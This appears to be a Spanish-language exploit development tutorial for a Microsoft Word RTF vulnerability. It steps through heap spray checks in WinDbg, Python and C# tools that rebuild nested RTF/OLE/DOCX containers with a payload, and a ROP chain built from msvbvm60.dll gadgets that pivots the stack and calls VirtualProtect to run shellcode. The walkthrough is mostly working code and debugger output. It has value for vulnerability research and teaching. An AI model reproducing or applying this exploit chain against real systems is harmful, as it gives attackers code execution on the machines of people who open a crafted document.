0x000007f0 ffff ffff ffff ffff ffff ffff ffff ffff ................ 0x00000800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000830 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... [...] 0x00000f20 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000f30 cb40 9472 d010 9472 8f08 9572 b0dd 9572 .@.r...r...r...r 0x00000f40 908c 8808 0102 0000 4000 0000 45c0 a472 ........@...E..r 0x00000f50 892d 8888 8808 9b9b 33c9 648b 7130 8b76 .-......3.d.q0.v 0x00000f60 0c8b 761c 8b46 088b 7e20 8b36 813f 6b00 ..v..F..~ .6.?k. 0x00000f70 6500 75f0 8bf0 eb57 608b de56 8b73 3c8b e.u....W`..V.s<. 0x00000f80 741e 7803 f356 8b76 2003 f333 c949 41ad t.x..V.v ..3.IA. 0x00000f90 03c3 5633 f60f be10 3af2 7408 c1ce 0703 ..V3....:.t..... 0x00000fa0 f240 ebf1 3975 005e 75e4 5a8b fb8b 5a24 .@..9u.^u.Z...Z$ [...] 0x000010a0 8bc7 b900 0000 008b 1681 f233 33ad bc89 ...........33... 0x000010b0 1783 c101 81f9 5001 0000 7408 83c6 0483 ......P...t..... 0x000010c0 c704 ebe3 ffe0 cccc 2b0e 9872 2b0e 9872 ........+..r+..r 0x000010d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000010e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000010f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r [...] 0x000017d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000017e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000017f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x00001800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00001810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00001820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r....
Veamos la eficacia del spray. Para ello, cargamos el archivo en Word y de nuevo attacheamos con WinDbg. Continuamos la ejecución hasta el crash, y buscamos en toda la memoria del proceso alguna marca o tag que conozcamos dentro de contenido que se ha sprayeado. Por ejemplo, cb409472d0109472.
0:000> .logopen C:\users\user\desktop\h1.txt Opened log file 'C:\users\user\desktop\h1.txt' 0:000> s 0 L?+80000000 cb 40 94 72 d0 10 94 72 [...] 0:000> .logclose Closing open log file C:\users\user\desktop\h1.txt
En el archivo de log podemos ver que se ha comenzado a encontrar el tag en 0x02e80f50, y la última ocurrencia la podemos ver en 0x12eaff50. Puesto que hemos escogido un tag que no se encuentra al principio del contenido spameado, para obtener las direcciones en las que encontraremos nuestro buffer hemos de restarle su posición:
0x00000f30 cb40 9472 d010 9472
0xf30 – 0x800 = 0x730
0x02e80f50 – 0x730 = 0x2E80820
0:000> dd 0x2E80820 02e80820 729440cb 088883ec 729440cb 088883ec 02e80830 729440cb 088883ec 729440cb 088883ec 02e80840 729440cb 088883ec 729440cb 088883ec 02e80850 729440cb 088883ec 729440cb 088883ec 02e80860 729440cb 088883ec 729440cb 088883ec 02e80870 729440cb 088883ec 729440cb 088883ec 02e80880 729440cb 088883ec 729440cb 088883ec 02e80890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000 02e81820 729440cb 088883ec 729440cb 088883ec 02e81830 729440cb 088883ec 729440cb 088883ec 02e81840 729440cb 088883ec 729440cb 088883ec 02e81850 729440cb 088883ec 729440cb 088883ec 02e81860 729440cb 088883ec 729440cb 088883ec 02e81870 729440cb 088883ec 729440cb 088883ec 02e81880 729440cb 088883ec 729440cb 088883ec 02e81890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000+0x1000 02e82820 729440cb 088883ec 729440cb 088883ec 02e82830 729440cb 088883ec 729440cb 088883ec 02e82840 729440cb 088883ec 729440cb 088883ec 02e82850 729440cb 088883ec 729440cb 088883ec 02e82860 729440cb 088883ec 729440cb 088883ec 02e82870 729440cb 088883ec 729440cb 088883ec 02e82880 729440cb 088883ec 729440cb 088883ec 02e82890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000+0x1000-4 02e8281c 72980e2b 729440cb 088883ec 729440cb 02e8282c 088883ec 729440cb 088883ec 729440cb 02e8283c 088883ec 729440cb 088883ec 729440cb 02e8284c 088883ec 729440cb 088883ec 729440cb 02e8285c 088883ec 729440cb 088883ec 729440cb 02e8286c 088883ec 729440cb 088883ec 729440cb 02e8287c 088883ec 729440cb 088883ec 729440cb 02e8288c 088883ec 729440cb 088883ec 729440cb
Podemos ver que cada 0x1000 bytes a partir de la posición inicial en la que encontramos el spray nos encontramos el contenido de activex1.bin.
Ya contamos con lo necesario para poder llegar a controlar EIP. Sólo nos falta poder modificar los archivos de manera fácil.
0x04 – Creación de la matryoska
Tenemos que gestionar la siguiente estructura para modificar los archivos que necesitamos:
RTF CDF/OLE Objeto embebido en RTF DOCX/ZIP Archivo dentro del contenedor CDF XML -> document.xml Archivo que queremos modificar CDF/OLE Objeto embebido en RTF DOCX/ZIP Archivo dentro del contenedor CDF CDF/OLE -> activex1.bin Archivo que queremos modificar
Nuestro objetivo es:
- Modificar el contenido de activex1.bin con nuestro payload
- Modificar document.xml con la dirección a la que queremos que Word acceda
- Generar dos nuevos ZIPs/DOCX que contengan los dos archivos modificados en los dos pasos anteriores
- Generar dos nuevos objetos CDF que contengan los dos ZIPs/DOCX generados en el paso anterior
- Reemplazar los objetos CDF del RTF original por los dos generados en el paso anterior
Modificación de activex1.bin
Para hacer una prueba preliminar sobreescribiremos el primer dword de cada trozo repetido del archivo (en la posición 0x800 + N * 0x1000) por 0x41424344
$ cat tag_bin.py import sys if __name__ == '__main__': in_filepath = sys.argv[1] out_filepath = sys.argv[2] f = open(in_filepath, "rb") original = bytearray(f.read()) f.close() begin = 0x800 offset = 0x1000 p = begin while p < len(original) - 4: original[p] = 0x44 original[p+1] = 0x43 original[p+2] = 0x42 original[p+3] = 0x41 p += offset f = open(out_filepath, "wb") f.write(original) f.close() $ python tag_bin.py 00039807.doc/word/activeX/activeX1.bin test.bin $ mv test.bin 00039807.doc/word/activeX/activeX1.bin
Modificación de document.xml
Queremos sustituir la dirección que utilizaron los autores del exploit por una dirección válida en nuestro entorno:
$ cat replace_offset.py import struct import sys def dword_to_crap(v): # unicode -> utf8 return struct.pack("<I", v).decode("utf-16le").encode("utf-8").encode("hex") def crap_to_dword(v): # utf8 -> unicode return unicode(v.decode("utf-8")).encode("utf-16le") if __name__ == '__main__': whatb = sys.argv[1] withb = sys.argv[2] fpath = sys.argv[3] fdest = sys.argv[4] withv = dword_to_crap(int(withb, 16)) #print ' -> %s' % crap_to_dword(whatb.decode("hex")).encode("hex") print 'Replacing raw utf8 "%s" with %s -> %s' % (whatb, withb, withv) f = open(fpath, "rb") b = f.read() f.close() c = b.replace(whatb.decode("hex"), withv.decode("hex")) f = open(fdest, "wb") f.write(c) f.close() $ python2 replace_offset.py e8a3ace0a288 0x0f8f4820 000538E9.doc/word/document.xml document.xml Replacing raw utf8 "e8a3ace0a288" with 0x0f8f4820 -> e4a0a0e0be8f $ mv document.xml 000538E9.doc/word/document.xml
Creación de los dos ZIPs/DOCX
$ cd 00039807.doc $ zip -D -q -9 -r spray.doc . $ cd ../000538E9.doc $ zip -D -q -9 -r trigger.doc .
Creación de los dos CDFs
Necesitamos una librería que nos permita modificar el contenido de estos archivos. En python existe la librería olefile, pero la implementación de las rutinas para modificar archivos no es completa.
Finalmente, se optó por la librería openmcdf para C#. Con ella simplemente tenemos que escribir una pequeña utilidad que nos permita modificar archivos:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using OpenMcdf; namespace cdfreplace { class Program { static void Main(string[] args) { string sourcefile = args[0]; string targetstream = args[1]; string replfile = args[2]; string outfile = args[3]; byte[] replbytes = System.IO.File.ReadAllBytes(replfile); System.IO.File.Copy(sourcefile, outfile); OpenMcdf.CompoundFile cf = new OpenMcdf.CompoundFile( outfile, OpenMcdf.CFSUpdateMode.Update, OpenMcdf.CFSConfiguration.Default | OpenMcdf.CFSConfiguration.EraseFreeSectors | OpenMcdf.CFSConfiguration.SectorRecycle ); OpenMcdf.CFStream st = cf.RootStorage.GetStream(targetstream); st.SetData(replbytes); cf.Commit(); } } }
Renombraremos los CDFs originales extraídos con rtfobj para mayor comprensibilidad:
– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -> original_spray.cdf
– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -> original_trigger.cdf
Compilamos con Visual Studio el código anterior, habiendo instalado previamente el paquete OpenMcdf. Lo ejecutamos de la siguiente forma:
$ mono cdfreplace.exe original_spray.cdf Package 00039807.doc/spray.doc spray.cdf $ mono cdfreplace.exe original_trigger.cdf Package 000538E9.doc/trigger.doc trigger.doc
Con esto hemos obtenido los dos objetos a reemplazar en el RTF original.
Modificación del RTF
Mediante la pequeña herramienta que se creó, reemplazamos los objetos 1 y 2 por los que acabamos de generar.
$ python2 rtf.py --input original.rtf --output tmp.rtf --replace 1 --withfile spray.cdf $ python2 rtf.py --input tmp.rtf --output final.rtf --replace 2 --withfile trigger.cdf
PoK (Proof of Kaboom)
Copiamos el archivo test.rtf a nuestra VM aislada y lo lanzamos bajo WinDbg:
(de8.944): Unknown exception - code e0000002 (first chance) (de8.944): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - eax=0f8f4820 ebx=00000000 ecx=41424344 edx=00000004 esi=0a8b3f20 edi=0aa27604 eip=702882a6 esp=003349b8 ebp=00334a28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 wwlib!DllGetLCID+0x2e1e1c: 702882a6 ff5104 call dword ptr [ecx+4] ds:002b:41424348=???????? 0:000> ub;u wwlib!DllGetLCID+0x2e1e05: 7028828f 85c9 test ecx,ecx 70288291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (7011eb5e) 70288297 8b4744 mov eax,dword ptr [edi+44h] 7028829a 894844 mov dword ptr [eax+44h],ecx 7028829d 8b4744 mov eax,dword ptr [edi+44h] 702882a0 8b4044 mov eax,dword ptr [eax+44h] 702882a3 8b08 mov ecx,dword ptr [eax] 702882a5 50 push eax wwlib!DllGetLCID+0x2e1e1c: 702882a6 ff5104 call dword ptr [ecx+4] 702882a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (7011eb5e) 702882ae 83f802 cmp eax,2 702882b1 750f jne wwlib!DllGetLCID+0x2e1e38 (702882c2) 702882b3 8d4624 lea eax,[esi+24h] 702882b6 50 push eax 702882b7 52 push edx 702882b8 e893171c00 call wwlib!DllGetLCID+0x4a35c6 (70449a50)
Podemos ver en EAX el valor 0x0f8f4820 y en ECX el valor 0x41424344. Nos encontramos en una instrucción que llamará a lo que haya en la dirección 0x0f8f4820+4. Ya sólo nos queda modificar el payload para obtener EIP.
0x05 – Creación de nuestro payload
Recordemos el layout que hemos de lograr en memoria para controlar EIP:
Dirección Valor X X X + 4 EIP objetivo
Luego, si continuamos usando la dirección 0x0f8f4820, lo que debemos colocar al principio del payload es
[ 0x0f8f4820, EIP ]
Para conseguir:
Dirección Valor 0x0f8f4820 0x0f8f4820 0x0f8f4824 EIP objetivo
¿Cómo podemos convertir esto en ejecución de código? Lo que tenemos es un salto a una dirección controlada. Tenemos DEP activado, por lo que no podemos saltar directamente a una posición en el heap en la que colocaríamos una shellcode.
En lugar de eso, debemos utilizar ROP. Para ello necesitamos que ESP apunte a algún lugar de memoria en el que podamos colocar las direcciones de nuestros gadgets. El lugar de memoria en el que podemos tener valores controlados en direcciones conocidas es el mismo heap que estamos sprayeando, por lo que debemos hacer un stack pivot.
Nuestro objetivo, por tanto, es hacer que EIP apunte a una secuencia de instrucciones que hagan que ESP apunte a algún lugar del heap que controlamos, posiblemente a continuación de las dos direcciones que hemos colocado hasta ahora.
Como comentamos al principio del post, el único módulo que no cuenta con ASLR es msvbvm60.dll. Obtengamos los gadgets disponibles en esta librería:
$ sha256sum libs/msvbvm60.dll 2246b4feae199408ea66d4a90c1589026f4a5800ce5a28e583b94506a8a73dce libs/msvbvm60.dll $ ROPgadget --binary libs/msvbvm60.dll > gadgets.txt
Este es el entorno en el que nos movemos:
- EAX = la dirección de nuestro payload
- ECX = la dirección de nuestro payload
- Cima del stack: la dirección de nuestro payload (una vez que se ejecute el call, tendremos antes la dirección de retorno)
Queremos:
- ESP = dirección de nuestro payload + algún offset dentro del payload que nos deje hueco para los suficientes gadgets. Por tanto, no nos basta con poder copiar EAX o ECX a ESP, necesitamos sumarle al menos 8 bytes.
- Poder conservar una copia del ESP original, para poder reestablecer el flujo de ejecución más adelante
Veamos qué gadgets nos permiten controlar ESP, evitando aquellos que hagan llamadas o saltos (se podrían intentar utilizar, pero habiendolos examinado no había ninguno que permitiese controlar el flujo de manera sencilla).
$ cat gadgets.txt| grep -v call | grep -v jmp | grep -v jb | grep esp | grep xchg [...] 0x7297d562 : je 0x7297d590 ; adc al, ch ; pop ecx ; xchg eax, esp ; add al, byte ptr [eax] ; ret 8 [...]
Hay varios gadgets que nos permiten cumplir nuestro objetivo. En su momento, escogimos este. Aunque comienza con un salto, nada nos impide evitarlo saltando unos bytes más adelante:
$ r2 libs/msvbvm60.dll [0x72941af8]> s 0x7297d562 [0x7297d562]> pd ,=< 0x7297d562 7424 je 0x7297d588 | 0x7297d564 10e8 adc al, ch | 0x7297d566 59 pop ecx | 0x7297d567 94 xchg eax, esp | 0x7297d568 0200 add al, byte [eax] | 0x7297d56a c20800 ret 8
Por tanto, si saltamos a la dirección 0x7297d564, esto será lo que ocurra, instrucción a instrucción:
- EAX = 0x0f8f4820
- ECX = 0x0f8f4820
- EAX = EAX + 2º byte de menor peso de ECX => EAX = EAX + 0x48 => EAX = 0x0f8f4868
- ECX = dirección de retorno introducida en la pila por el call
- ESP = dirección de nuestro payload + 0x48 => ESP = 0x0f8f4868
- EAX = antigua dirección de la pila
- EAX = antigua dirección de la pila + [0-0xff]
- ESP = dirección del inicio de nuestro ROP chain
- EIP = dirección que escribiremos en la posición 0x48 de nuestro payload (0x0f8f4868 – 0x0f8f4820)
Hay que tener en cuenta que el gadget termina con «ret 8», por lo que entre el primer y el segundo gadget de la cadena habrá que meter 8 bytes de padding.
A partir de este momento, podemos ejecutar gadgets mediante ROP, colocando sus direcciones en nuestro payload a partir de las dos primeras. Hagamos la prueba, haciendo que Word salte a 0x41414141. Este será el principio del payload:
import struct import sys p = lambda x: struct.pack("<L", x) heap = 0x0f8f4820 pivot = 0x7297d564 padsize = (heap >> 8) & 0xFF rop = [ p(heap), p(pivot), "a" * (padsize - 8), p(0x41414141) ] payload = bytearray("".join(rop)) payload_size = len(payload) if __name__ == '__main__': in_filepath = sys.argv[1] out_filepath = sys.argv[2] f = open(in_filepath, "rb") original = bytearray(f.read()) f.close() begin = 0x800 offset = 0x1000 p = begin while p < len(original) - payload_size: for x in range(payload_size): original[p + x] = payload[x] p += offset f = open(out_filepath, "wb") f.write(original) f.close()
Veamos si vamos por el buen camino. En Windbg, al attachear, ponemos un breakpoint en la dirección del pivote:
(2dc.158): Break instruction exception - code 80000003 (first chance) eax=7ef88000 ebx=00000000 ecx=00000000 edx=77b3f142 esi=00000000 edi=00000000 eip=77ab000c esp=0da1f8d4 ebp=0da1f900 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!DbgBreakPoint: 77ab000c cc int 3 0:016> bu 0x7297d564 0:016> g (2dc.a70): Unknown exception - code e0000002 (first chance) Breakpoint 0 hit eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d564 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef24: 7297d564 10e8 adc al,ch 0:000> p eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d566 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef26: 7297d566 59 pop ecx 0:000> p eax=0f8f4868 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d567 esp=00494cb8 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef27: 7297d567 94 xchg eax,esp 0:000> p eax=00494cb8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d568 esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef28: 7297d568 0200 add al,byte ptr [eax] ds:002b:00494cb8=20 0:000> p eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d56a esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286 msvbvm60!IID_IVbaHost+0xef2a: 7297d56a c20800 ret 8 0:000> p eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=41414141 esp=0f8f4874 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286 41414141 ?? ???
Éxito.
El siguiente objetivo es ejecutar una shellcode. Para ello debemos colocarla en una zona de memoria cuya dirección controlemos (es decir, la misma zona del heap donde estamos trabajando) y llamar a la función
VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &old_protect);
Donde:
- address: dirección de la shellcode
- size: tamaño de la zona de memoria que queremos convertir en ejecutable.
- PAGE_EXECUTE_READWRITE: queremos asignar los permisos de lectura, escritura y ejecución. Su valor es 0x40. Lo ideal sería solo PAGE_EXECUTE_READ, pero estamos usando la misma zona de memoria para la shellcode que para nuestra pila, por lo que es necesario que la página sea escribible.
- old_protect: dirección donde guardar los flags antiguos de protección.
Necesitamos conocer la dirección de VirtualProtect. Podríamos ubicarla a partir del PEB, pero msvbvm60 nos lo pone más fácil. Veamos sus imports:
$ r2 ibs/msvbvm60.dll [0x72941af8]> ii~VirtualProtect ordinal=053 plt=0x729410d0 bind=NONE type=FUNC name=KERNEL32.dll_VirtualProtect 0:000> dd 0x729410d0 729410d0 759042ff 75904333 7591e8c5 75925935 0:000> u 759042ff kernel32!VirtualProtectStub: 759042ff 8bff mov edi,edi 75904301 55 push ebp 75904302 8bec mov ebp,esp 75904304 5d pop ebp 75904305 e9becdffff jmp kernel32!VirtualProtect (759010c8)
Es decir, en la dirección fija de msvbvm60 0x729410d0 tenemos la dirección de VirtualProtect. Si saltamos aquí directamente, tenemos que colocar en la pila los valores de los argumentos, así como la siguiente dirección de retorno, del mismo modo que quedaría si hubiesemos hecho una llamada con call:
Direcciones altas de la pila ---- old_protect ; push arg_4 PAGE_EXECUTE_READWRITE ; push arg_3 size ; push arg_2 address ; push arg_1 siguiente gadget ; call VirtualProtect ---- Direcciones bajas de la pila
¿Cómo saltamos a VirtualProtect? Podemos buscar en la lista de gadgets saltos que podamos controlar:
- A registros, por ejemplo, jmp eax
- A punteros en registros, por ejemplo, jmp [eax]
El segundo caso nos ahorra tener que hacer la dereferencia en nuestro ROP chain, por tanto:
$ cat gadgets.txt| grep "jmp dword ptr \[" [...] 0x7295088f : jmp dword ptr [eax] 0x72a3eb27 : jmp dword ptr [ebp - 0x6c] 0x729907a2 : jmp dword ptr [ebx] 0x72a429d8 : jmp dword ptr [ecx - 1] 0x72949a32 : jmp dword ptr [ecx] 0x729eb1db : jmp dword ptr [edi] 0x729eb1e0 : jmp dword ptr [edx] 0x72a21a18 : jmp dword ptr [esi - 0x75] 0x72a00884 : jmp dword ptr [esi - 0x7d] 0x7295cb96 : jmp dword ptr [esi] 0x729eb1ef : jmp dword ptr [esp + esi*2] [...] 0x729914fb : sti ; jmp dword ptr [ecx] [...]
Tenemos donde elegir. ¿Qué registros podemos controlar fácilmente?
$ cat gadgets.txt| egrep ": pop (e[abcd]x|e[sd]i) ; ret" 0x729440cb : pop eax ; ret 0x72992f5e : pop eax ; ret 0x10 0x72a06933 : pop eax ; ret 0x14 0x729c0a9b : pop eax ; ret 0xc 0x72944175 : pop eax ; ret 4 0x7298fa2e : pop eax ; ret 8 0x72941f10 : pop ebx ; ret 0x72991c70 : pop ebx ; ret 0x10 0x72999274 : pop ebx ; ret 0x14 0x72941b4e : pop ebx ; ret 0xc 0x72943255 : pop ebx ; ret 4 0x729459e4 : pop ebx ; ret 8 0x729419f4 : pop ecx ; ret 0x729e1dfc : pop ecx ; ret 0x14 0x72954ecc : pop ecx ; ret 0x7297 0x729e19db : pop ecx ; ret 0xc 0x729ff08b : pop ecx ; ret 0xfff5 0x7294a47b : pop ecx ; ret 4 0x7294464b : pop ecx ; ret 8 0x7294575b : pop edi ; ret 0x729d0fc9 : pop edi ; ret 0x10 0x7294e501 : pop edi ; ret 4 0x7298c1e4 : pop edi ; ret 8 0x729a4421 : pop edx ; ret 0x72941e54 : pop esi ; ret 0x7294a52f : pop esi ; ret 0x10 0x72974c79 : pop esi ; ret 0x14 0x729a32b5 : pop esi ; ret 0x1c 0x729d831e : pop esi ; ret 0x24 0x72945a74 : pop esi ; ret 0xc 0x7294356a : pop esi ; ret 4 0x72945940 : pop esi ; ret 8
Podemos usar EAX, mismamente. Antes de pisarlo, sería conveniente guardar su valor en algún sitio, ya que es donde tenemos la copia del ESP anterior, pero eso queda como ejercicio.
Nos queda elegir una dirección fija en la que guardar la antigua protección, el 4º parámetro de VirtualProtect. Veamos donde queda la zona de memoria reservada a datos escribibles:
[0x7297d562]> iS [Sections] idx=00 vaddr=0x72941000 paddr=0x00001000 sz=1032192 vsz=1032192 perm=m-r-x name=.text idx=01 vaddr=0x72a3d000 paddr=0x000fd000 sz=53248 vsz=53248 perm=m-r-x name=ENGINE idx=02 vaddr=0x72a4a000 paddr=0x0010a000 sz=28672 vsz=32768 perm=m-rw- name=.data idx=03 vaddr=0x72a52000 paddr=0x00111000 sz=200704 vsz=200704 perm=m-r-- name=.rsrc idx=04 vaddr=0x72a83000 paddr=0x00142000 sz=65536 vsz=65536 perm=m-r-- name=.reloc 0:000> dd 0x72a4a000 0x72a4a000+28672 [...] 72a4d290 00000000 00000000 00000000 00000000 72a4d2a0 00000000 00000000 00000000 00000000 72a4d2b0 00000000 00000000 00000000 00000000 72a4d2c0 00000000 00000000 00000000 00000000 72a4d2d0 00000000 00000000 00000000 00000000 72a4d2e0 00000000 00000000 00000000 00000000 72a4d2f0 00000000 00000000 00000000 00000000 72a4d300 00000000 00000000 00000000 00000000 72a4d310 00000000 00000000 00000000 00000000 72a4d320 00000000 00000000 00000000 00000000 72a4d330 00000000 00000000 00000000 00000000 72a4d340 00000000 00000000 00000000 00000000 72a4d350 00000000 00000000 00000000 00000000 72a4d360 00000000 00000000 00000000 00000000 72a4d370 00000000 00000000 00000000 00000000 72a4d380 00000000 00000000 00000000 00000000 72a4d390 00000000 00000000 00000000 00000000 72a4d3a0 00000000 00000000 00000000 00000000 72a4d3b0 00000000 00000000 00000000 00000000 [...]
Buscamos una zona en la que no parezca haber datos anteriores. Escogemos una dirección cualquiera, 0x72a4d300. Al finalizar la shellcode volveremos a guardar el valor 0 aquí.
Por tanto, nuestra cadena quedaría:
heap = 0x0f8f4820 pivot = 0x7297d564 pop_eax = 0x729440cb jmp_ptr_eax = 0x7295088f ptr_virtualprotect = 0x729410d0 virtualprotect_size = 0x200 virtualprotect_prot = 0x40 virtualprotect_oldprot = 0x72a4d300 shellcode_address = heap + (padsize - 8) + 48 shellcode = "\xcc" rop = [ p(heap), # @0 p(pivot), # @4 "a" * (padsize - 8), # @8 p(pop_eax), # @ 8 + padsize "a" * 8, # @ 12 + padsize ; compensamos ret 8 p(ptr_virtualprotect), # @ 20 + padsize p(jmp_ptr_eax), # @ 24 + padsize p(shellcode_address), # @ 28 + padsize ; retorno de VirtualProtect p(shellcode_address), # @ 32 + padsize ; address p(virtualprotect_size), # @ 36 + padsize ; size p(virtualprotect_prot), # @ 40 + padsize ; new prot p(virtualprotect_oldprot),# @ 44 + padsize ; & old prot shellcode # @ 48 + padsize ]
Si todo va bien, al generar el archivo RTF y abrirlo con Word, WinDbg debería parar en el «int 3» que hemos utilizado como shellcode.
0:015> bu 0x7297d564 (ecc.3d4): Unknown exception - code e0000002 (first chance) Breakpoint 0 hit *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d564 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef24: 7297d564 10e8 adc al,ch 0:000> p eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d566 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef26: 7297d566 59 pop ecx 0:000> eax=0f8f4868 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d567 esp=00644bd8 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef27: 7297d567 94 xchg eax,esp 0:000> eax=00644bd8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d568 esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef28: 7297d568 0200 add al,byte ptr [eax] ds:002b:00644bd8=20 0:000> eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d56a esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!IID_IVbaHost+0xef2a: 7297d56a c20800 ret 8 0:000> eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=729440cb esp=0f8f4874 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!ThunRTMain+0xb27: 729440cb 58 pop eax 0:000> eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=729440cc esp=0f8f4878 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!ThunRTMain+0xb28: 729440cc c3 ret 0:000> eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7295088f esp=0f8f487c ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!Zombie_Release+0x1e36: 7295088f ff20 jmp dword ptr [eax] ds:002b:729410d0={kernel32!VirtualProtectStub (75e342ff)} 0:000> dd esp 0f8f487c 0f8f4890 0f8f4890 00000200 00000040 0f8f488c 72a4d300 729440cc 088883ec 729440cb 0f8f489c 088883ec 729440cb 088883ec 729440cb 0f8f48ac 088883ec 729440cb 088883ec 729440cb 0f8f48bc 088883ec 729440cb 088883ec 729440cb 0f8f48cc 088883ec 729440cb 088883ec 729440cb 0f8f48dc 088883ec 729440cb 088883ec 729440cb 0f8f48ec 088883ec 729440cb 088883ec 729440cb 0:000> u 0f8f4890 0f8f4890 cc int 3 0f8f4891 40 inc eax 0f8f4892 94 xchg eax,esp 0f8f4893 72ec jb 0f8f4881 0f8f4895 838808cb409472 or dword ptr [eax-6BBF34F8h],72h 0f8f489c ec in al,dx 0f8f489d 838808cb409472 or dword ptr [eax-6BBF34F8h],72h 0f8f48a4 ec in al,dx 0:000> g (ecc.3d4): Break instruction exception - code 80000003 (first chance) eax=00000001 ebx=00000000 ecx=f1290000 edx=003fe188 esi=0a45f4d0 edi=0a47cde4 